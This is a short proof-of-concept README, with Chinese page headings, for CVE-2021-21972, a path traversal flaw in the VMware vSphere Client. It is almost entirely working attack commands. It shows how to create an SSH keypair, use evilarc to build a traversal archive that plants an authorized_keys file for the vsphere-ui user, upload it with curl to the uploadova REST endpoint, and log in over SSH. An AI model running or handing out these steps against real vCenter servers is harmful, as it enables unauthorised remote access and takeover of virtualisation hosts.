CVE-2021-21972 PoC — VMware vSphere Client 路径遍历漏洞

Description

CVE-2021-21972

介绍

# CVE-2021-21972
CVE-2021-21972

Tested against VMware VCSA 6.7

## create ssh keypair
```
ssh-keygen -t rsa -f vcsa.key -N ''
```

## create tarbal with ../../../../../home/vsphere-ui/.ssh/authorized_keys
```
python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar authorized_keys
mv evil.tar evil.ova
```

## upload evil.ova to the vropspluginui uploadova rest endpoint
```
curl -k -A "" --form "uploadFile=@evil.ova;type=text/plain" https://$VCSA_IP/ui/vropspluginui/rest/services/uploadova -H "Accept: application/json"
```

## ssh to vcsa with the added authorized key
```
ssh -i vcsa.key vsphere-ui@$VCSA_IP
```

文件快照

备注